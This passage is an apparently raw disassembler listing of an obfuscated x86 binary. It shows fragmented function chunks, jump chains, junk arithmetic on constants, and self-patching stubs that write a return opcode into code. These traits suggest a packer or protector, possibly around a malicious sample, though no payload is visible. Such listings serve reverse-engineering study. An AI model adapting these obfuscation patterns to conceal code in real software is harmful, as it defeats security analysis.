sub_4522E9	proc near		; CODE XREF: sub_454267-16B3Fp
					; dviuq5id:loc_455726p
		push	ebp
		mov	ebp, esp
		jmp	sub_451DAA
sub_4522E9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4522F2:				; CODE XREF: dviuq5id:004511B4j
		jl	loc_44D502
		sbb	esi, 38A86335h
		jmp	loc_44EBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_452303:				; CODE XREF: sub_449EB7-63Bj
		jz	loc_44E3AE

loc_452309:				; CODE XREF: sub_454465-17113j
		call	nullsub_21
		jmp	loc_4599CE
; END OF FUNCTION CHUNK	FOR sub_449EB7

; =============== S U B	R O U T	I N E =======================================



sub_452313	proc near		; CODE XREF: sub_449EB7+3j

; FUNCTION CHUNK AT 004599BC SIZE 00000012 BYTES

		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_4599BC
sub_452313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_452326:				; CODE XREF: sub_441DDA-19Fj
		jo	loc_43B93D
		sub	ebp, 6673F751h
		sbb	edi, esi
		jmp	loc_43B543
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44122E

loc_452339:				; CODE XREF: sub_44122E+CF1Bj
		not	ebx
		adc	ecx, 0EC816BA1h
		jmp	loc_45451D
; END OF FUNCTION CHUNK	FOR sub_44122E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_452346:				; CODE XREF: sub_43EB11:loc_446DEDj
		call	sub_449EB7

locret_45234B:				; CODE XREF: dviuq5id:loc_4494A8j
		retn
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45234C:				; CODE XREF: sub_43FA59+A32Dj
		jmp	loc_449117
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_452351:				; CODE XREF: sub_446682-6D21j
		jmp	loc_451212
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_452356:				; CODE XREF: sub_447ECD-A8C7j
		jmp	loc_446DCD
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
		db 0F8h
dword_45235C	dd 77DD0000h		; DATA XREF: sub_43EB11:loc_43ED3Cr
					; dviuq5id:00447EB6w
dword_452360	dd 5B2110Ah, 32339414h,	0B1368C2Eh ; DATA XREF:	sub_456B31-17626o
					; sub_43EB11+328Eo
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_45236D:				; CODE XREF: sub_457A3C+9F7j
		jmp	loc_459D4C
; END OF FUNCTION CHUNK	FOR sub_457A3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_452372:				; CODE XREF: sub_4538B3+12j
		or	eax, eax
		jnz	loc_440F3A
		jmp	loc_44421A
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453ECC

loc_45237F:				; CODE XREF: sub_453ECC:loc_458B0Ej
		mov	ebp, esp
		call	sub_43A813
; END OF FUNCTION CHUNK	FOR sub_453ECC
; START	OF FUNCTION CHUNK FOR sub_44F38E

loc_452386:				; CODE XREF: sub_44F38E+4j
		jmp	loc_459885
; END OF FUNCTION CHUNK	FOR sub_44F38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_45238B:				; CODE XREF: sub_458B23-B946j
		call	sub_44CC63
; END OF FUNCTION CHUNK	FOR sub_458B23
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_452390:				; CODE XREF: sub_4452A6+F643j
		jmp	loc_44BFE5
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_452395:				; CODE XREF: sub_43FDFB+15B32j
		pushf
		or	edx, 0A560A926h
		jmp	loc_4542EA
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_4523A1:				; CODE XREF: sub_456EE5+Cj
		jz	loc_452948
		jmp	loc_43A671
; END OF FUNCTION CHUNK	FOR sub_456EE5

; =============== S U B	R O U T	I N E =======================================



sub_4523AC	proc near		; DATA XREF: sub_450443+6o

; FUNCTION CHUNK AT 004426CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B091 SIZE 00000006 BYTES

		jz	loc_44B097
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jmp	loc_4426CE
sub_4523AC	endp

; ---------------------------------------------------------------------------

loc_4523C4:				; CODE XREF: dviuq5id:0043E231j
		pushf
		jnz	loc_4506EA
		cdq
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_4523CC:				; CODE XREF: sub_44C07B:loc_43E218j
					; dviuq5id:0044EDF0j
		add	edx, 0B9C47C0Fh
		xchg	edx, [esp+4+var_4]
		jmp	loc_441FEE
; END OF FUNCTION CHUNK	FOR sub_44C07B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4523DB:				; CODE XREF: dviuq5id:00448208j
		jmp	loc_43B09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4523E0:				; CODE XREF: sub_440898+1889Aj
		or	edi, 0FC433228h
		add	edi, 0FD1274h
		mov	[edi], eax
		pop	edi
		jmp	loc_43A0C2
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_4523F4:				; CODE XREF: sub_448424+125Fj
		mov	esi, 53F10056h
		jb	loc_43AEF5
		adc	ebp, 0E909369h
		jmp	loc_453591
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_45240A:				; CODE XREF: sub_443AC1:loc_44FF54j
		push	ecx
		push	217E6A3h
		pop	ecx
		xor	ecx, 0EA2150A1h
		jmp	loc_451B90
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------

loc_45241C:				; CODE XREF: dviuq5id:00441718j
					; dviuq5id:loc_4442FCj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C2A8
		jmp	loc_440C32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_45242D:				; CODE XREF: sub_43ED10:loc_443D78j
		push	37CCAC8h
		pop	ecx
		or	ecx, 0A8EDF751h
		test	ecx, 1000000h
		jmp	loc_45432F
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------

loc_452444:				; DATA XREF: sub_4489E1+5631o
		xchg	esi, [esp]
		push	offset sub_43A919
		jmp	loc_441B59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_452452:				; CODE XREF: sub_44084F+146CEj
		jmp	sub_44E491
; END OF FUNCTION CHUNK	FOR sub_44084F

; =============== S U B	R O U T	I N E =======================================



sub_452457	proc near		; DATA XREF: dviuq5id:00440208o
		lea	eax, loc_44ED3A
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ED3A
sub_452457	endp


; =============== S U B	R O U T	I N E =======================================



sub_452465	proc near		; CODE XREF: sub_414884+5Ep
					; sub_41AFA7+6B5p ...
		call	sub_441B17

loc_45246A:				; CODE XREF: dviuq5id:loc_456B8Cj
		jmp	ds:off_41D07C
sub_452465	endp


; =============== S U B	R O U T	I N E =======================================



sub_452470	proc near		; DATA XREF: sub_43ACD6+3o

; FUNCTION CHUNK AT 0043E74A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB17 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044805F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BE68 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004547FF SIZE 0000000A BYTES

		jnz	loc_456F38
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8

loc_452480:				; CODE XREF: sub_451F1E:loc_43F098j
					; sub_45A1FB:loc_44FAF1j
		jz	loc_44BE68
		mov	eax, [ebp-0Ch]
		call	sub_45A587

loc_45248E:				; CODE XREF: sub_453977+6j
		jmp	nullsub_148
sub_452470	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_452493:				; CODE XREF: sub_43E421:loc_43CEA7j
		mov	edx, ecx
		jge	loc_4423DA
		jmp	loc_44DA12
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------

loc_4524A0:				; CODE XREF: dviuq5id:00449784j
		jz	loc_4469EC
		jmp	loc_44695C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4524AB:				; CODE XREF: sub_439C09:loc_4555A5j
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		or	ecx, 1F59BF36h
		jmp	loc_4520B1
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_4524BC:				; CODE XREF: dviuq5id:0043F0D8j
		jnz	loc_458D06
		jmp	loc_44CC6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F2F5

loc_4524C7:				; CODE XREF: sub_44F2F5:loc_43AC91j
		xchg	ebp, [esp+10h+var_10]
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 76AF2E44h
		jmp	loc_44B9CF
; END OF FUNCTION CHUNK	FOR sub_44F2F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443354

loc_4524D8:				; CODE XREF: sub_443354:loc_44FE94j
		jz	loc_44A253
		jmp	loc_452A0D
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_4524E3:				; CODE XREF: sub_4597EF-4C84j
		push	edi
		push	9F0CB358h
		pop	edi
		xor	edi, 0F2CC1C5h
		jmp	loc_4395DE
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4524F5:				; CODE XREF: sub_4427AE:loc_43E7FCj
		push	39025E59h
		pop	ebx
		sub	ebx, 1331E26Eh

loc_452501:				; CODE XREF: dviuq5id:00456834j
		add	ebx, 8B77E314h
		xor	ebx, 3B724808h
		jmp	loc_44B534
; END OF FUNCTION CHUNK	FOR sub_4427AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_452513:				; CODE XREF: dviuq5id:loc_453121j
		xor	ebx, 743B7125h
		rol	ebx, 0Ch
		xor	ebx, 0C0632F84h
		add	ebx, 1C72F87Dh
		jmp	loc_4531FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_45252D:				; CODE XREF: sub_448154+D8AFj
		pop	eax
		rol	eax, 1
		or	eax, 8C157D8Dh
		and	eax, 5595E647h
		add	eax, 0ABADF9A0h

loc_452542:				; CODE XREF: dviuq5id:0043CA67j
		jmp	loc_44E3F6
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_452547:				; CODE XREF: sub_44AC6E:loc_44DE74j
		call	sub_459825

loc_45254C:				; CODE XREF: sub_44BB53+E1ACj
		jmp	loc_45659C
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_452551:				; CODE XREF: sub_448FC7-C3Aj
		jmp	loc_453586
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_452556:				; CODE XREF: dviuq5id:004476E1j
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_452558	proc near		; CODE XREF: sub_440C61-6FEEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044368A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445170 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453A9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454EF8 SIZE 00000014 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0F5271E0Bh
		pop	edi
		sub	edi, 6CDF4295h
		and	edi, 36FCAE18h
		jmp	loc_445170
sub_452558	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_452573	proc near		; DATA XREF: sub_44BD0B+45A0o

; FUNCTION CHUNK AT 0043DE13 SIZE 00000005 BYTES

		popf
		push	offset sub_452EE0
		jmp	loc_43DE13
sub_452573	endp

; ---------------------------------------------------------------------------

loc_45257E:				; CODE XREF: dviuq5id:0045027Fj
		jz	loc_43DC3F
		or	ebp, ecx
		jmp	loc_43A017
; ---------------------------------------------------------------------------

loc_45258B:				; CODE XREF: dviuq5id:0045891Aj
		jmp	ds:dword_41D0C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_448. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[edx+5AFFFEF2h], bl
		mov	eax, [esp]
		push	edx
		push	esi
		push	6DA7649Dh
		jmp	loc_452C24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_4525A7:				; CODE XREF: sub_44460F:loc_4508C7j
		mov	eax, 0EF9F7D01h
		push	eax
		push	5017FF84h
		xchg	edx, [esp+4+var_4]
		mov	eax, edx
		adc	edx, 62A3992Ch
		jmp	loc_446145
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_4525C2:				; CODE XREF: sub_43EFA5-5807j
		mov	al, [edx]
		pop	edx
		pop	ebx
		pop	ecx
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	sub_44FFFD
; END OF FUNCTION CHUNK	FOR sub_43EFA5

; =============== S U B	R O U T	I N E =======================================



sub_4525D0	proc near		; DATA XREF: sub_43FA59:loc_44E54Bo

; FUNCTION CHUNK AT 004395C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AB27 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043ADD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B1AC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B623 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B6A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BE9D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C2ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043DAD0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043E402 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E4BC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EA42 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EBEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EFF3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F195 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043FC76 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004402EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442086 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442092 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004427C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044345A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445CA7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004460B6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00446415 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447CFD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004488F2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449412 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449961 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00449FC8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A09D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B31C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B677 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BAAC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C76F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC8A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044CCB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D0CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E37E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044EF1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F8E0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00450171 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004519D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453A12 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045440C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454638 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00455A9A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0045626C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045680D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045688B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457639 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045772A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045774B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00457EAF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00458674 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458B2E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0045942C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00459703 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004597A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004597FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004599DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459A2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459CA0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045A0F3 SIZE 00000016 BYTES

		jnz	loc_44345A
		cmp	dword ptr [ebp-4], 4
		jnz	loc_45774B
		jmp	loc_45626C
sub_4525D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4525E5:				; CODE XREF: sub_4427AE-6F7Dj
		cmp	edi, esi
		jmp	loc_448769
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		jmp	sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4571A7

loc_4525F3:				; CODE XREF: sub_4571A7+3j
		push	offset loc_4568DA
		jmp	nullsub_267
; END OF FUNCTION CHUNK	FOR sub_4571A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4525FD:				; CODE XREF: sub_44514D-8D7Aj
		jz	loc_43F8DD

loc_452603:				; CODE XREF: sub_459588-1E67Bj
		jmp	loc_44BA95
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
		pushf
		cdq
		jmp	loc_43F8D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443901

loc_45260F:				; CODE XREF: sub_443901:loc_439581j
		pop	eax
		and	eax, 0D50525E3h
		or	eax, 5624A7EEh
		add	eax, 2A204489h
		xchg	eax, [esp+4+var_4]
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_443901
; ---------------------------------------------------------------------------

loc_45262A:				; CODE XREF: dviuq5id:0043B983j
		jz	loc_44DC4B
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_452630:				; CODE XREF: sub_43938B:loc_455B8Dj
		rol	eax, 5
		add	eax, 0C1864BD6h
		mov	eax, [eax]
		push	offset sub_449B7F
		jmp	loc_43D1DC
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_452645:				; CODE XREF: sub_450519+64F2j
		pop	ecx
		sub	ebp, edi
		jmp	loc_451BC9
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454FA5

loc_45264D:				; CODE XREF: sub_454FA5-13840j
		push	offset sub_441C99
		jmp	loc_45A500
; END OF FUNCTION CHUNK	FOR sub_454FA5
; ---------------------------------------------------------------------------

loc_452657:				; DATA XREF: sub_43C413+2o
		push	28h
		mov	eax, [ebp-4]
		push	offset loc_43C740
		jmp	locret_4460E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_452667:				; CODE XREF: sub_43C03F+1E159j
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440ACE

loc_45266C:				; CODE XREF: sub_440ACE+Bj
		jmp	loc_43C3B7
; END OF FUNCTION CHUNK	FOR sub_440ACE
; ---------------------------------------------------------------------------

loc_452671:				; CODE XREF: dviuq5id:0043AF39j
		jmp	locret_4492AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_452676:				; CODE XREF: sub_43D83D+BFC2j
					; sub_44514D+C06Ej
		rol	eax, 0Bh
		push	eax
		push	eax
		push	0CBEF556Bh
		pop	eax
		jmp	loc_44A587
; END OF FUNCTION CHUNK	FOR sub_43D83D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_452687:				; CODE XREF: sub_4408FF+5410j
		jmp	loc_45801F
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_45268C:				; CODE XREF: sub_43ECF4+5658j
		jmp	loc_441027
; END OF FUNCTION CHUNK	FOR sub_43ECF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_452691:				; CODE XREF: sub_448424-923Ej
		jmp	loc_443B1A
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------

locret_452696:				; CODE XREF: dviuq5id:loc_43E51Fj
		retn
; ---------------------------------------------------------------------------

loc_452697:				; CODE XREF: dviuq5id:loc_43D100j
		add	eax, 0ECFD17ACh
		push	offset sub_449C2A
		jmp	locret_456AAF

; =============== S U B	R O U T	I N E =======================================



sub_4526A7	proc near		; CODE XREF: dviuq5id:0043BD6Dj
					; sub_459385-4013p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00455AB2 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 9EE050CEh

loc_4526B1:				; CODE XREF: sub_43CB4C:loc_43ECA0j
		xchg	edi, [esp-4+arg_0]
		jmp	loc_455AB2
sub_4526A7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_4526B9:				; CODE XREF: sub_43C46D-2404j
		xchg	ebx, [ebp+0]
		push	ebx
		mov	ecx, [ebp+0]

loc_4526C0:				; CODE XREF: sub_43C46D:loc_43A05Bj
		or	edx, 1B5A2130h
		add	edx, 0BCFCCF3Eh
		jmp	loc_441E5D
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4526D1:				; CODE XREF: sub_4492F0:loc_45A01Cj
		jz	loc_43E8A6
		jmp	loc_453EB7
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_4526DC:				; CODE XREF: sub_4559CE-496j
		push	offset loc_4408DC
		jmp	loc_44244F
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------

loc_4526E6:				; CODE XREF: dviuq5id:loc_452CFCj
		pushf
		push	3D96C001h
		pop	edx
		sub	edx, 1C13DBDCh
		jmp	loc_458B4D
; ---------------------------------------------------------------------------

loc_4526F8:				; CODE XREF: dviuq5id:loc_43A126j
		xchg	ecx, [esp]
		mov	eax, edx
		call	sub_43D7C1
		mov	eax, [esp]
		jmp	loc_447C67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_45270A:				; CODE XREF: sub_43C03F:loc_451BC9j
					; dviuq5id:loc_457789j
		pop	esi
		or	esi, 96962C09h
		and	esi, 7DADBBBBh
		add	esi, 8BC020F9h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
		add	edx, 64DCBCCAh
		jmp	sub_43C033
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_452730:				; CODE XREF: sub_456253-FC1Aj
		push	esi
		mov	esi, ebx
		xchg	esi, [esp+4+var_4]
		push	2D45D65Dh

loc_45273B:				; CODE XREF: sub_44FCBC:loc_44DA7Aj
		pop	ebx
		and	ebx, 29652ECAh
		or	ebx, 0C3578043h
		jmp	loc_43B9B0
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C8F3

loc_45274D:				; CODE XREF: sub_43C8F3:loc_454F59j
		add	eax, 0C4C193EAh
		call	sub_453642
		mov	ds:dword_41D134, eax
		lea	eax, nullsub_482
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_482
; END OF FUNCTION CHUNK	FOR sub_43C8F3
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_448600
; ---------------------------------------------------------------------------

loc_452772:				; DATA XREF: sub_4584CA-7ED9o
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_190
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_190
; ---------------------------------------------------------------------------

loc_452783:				; CODE XREF: dviuq5id:00443E44j
					; dviuq5id:loc_449B01j
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		jmp	loc_456050
; ---------------------------------------------------------------------------

loc_45278E:				; DATA XREF: sub_442BFE-6606o
		xor	eax, 0C0466FE6h
		rol	eax, 10h
; START	OF FUNCTION CHUNK FOR sub_451A79

loc_452797:				; CODE XREF: sub_451A79+7j
		push	ecx
		mov	ecx, edi
		jmp	loc_444699
; END OF FUNCTION CHUNK	FOR sub_451A79
; ---------------------------------------------------------------------------
		mov	edi, edx
		shr	ebx, 11h
		jmp	sub_43D9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_4527A9:				; CODE XREF: sub_43CF31+145FBj
		sub	edi, 0D16D415Fh
		jmp	loc_45546E
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453654

loc_4527B4:				; CODE XREF: sub_453654-F918j
		jnz	loc_4504C1
		jmp	loc_449078
; END OF FUNCTION CHUNK	FOR sub_453654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5A8

loc_4527BF:				; CODE XREF: sub_44A5A8:loc_4482E5j
		jnz	loc_43CB6F
		jmp	loc_4428AC
; END OF FUNCTION CHUNK	FOR sub_44A5A8
; ---------------------------------------------------------------------------
		adc	edx, edi
		jmp	loc_4505B2
; ---------------------------------------------------------------------------
		ror	eax, 10h
		jmp	loc_43D38D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_4527D9:				; CODE XREF: sub_449485-ADE3j
		xor	ecx, ebx
; END OF FUNCTION CHUNK	FOR sub_449485

; =============== S U B	R O U T	I N E =======================================



sub_4527DB	proc near		; CODE XREF: sub_43DCB4+1753Ap

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, eax
		call	sub_45A04B
		xchg	ebp, [esp-4+arg_0]
		mov	edx, ebp
		jmp	loc_441E9C
sub_4527DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_4527F0:				; CODE XREF: sub_449B5B:loc_452CA3j
		sub	ebx, 0FA9CF227h
		or	ebx, 18D20615h
		rol	ebx, 12h
		add	ebx, 0E74CD589h

loc_452805:				; CODE XREF: dviuq5id:loc_44CAA9j
		mov	[ebx], eax
		pop	ebx
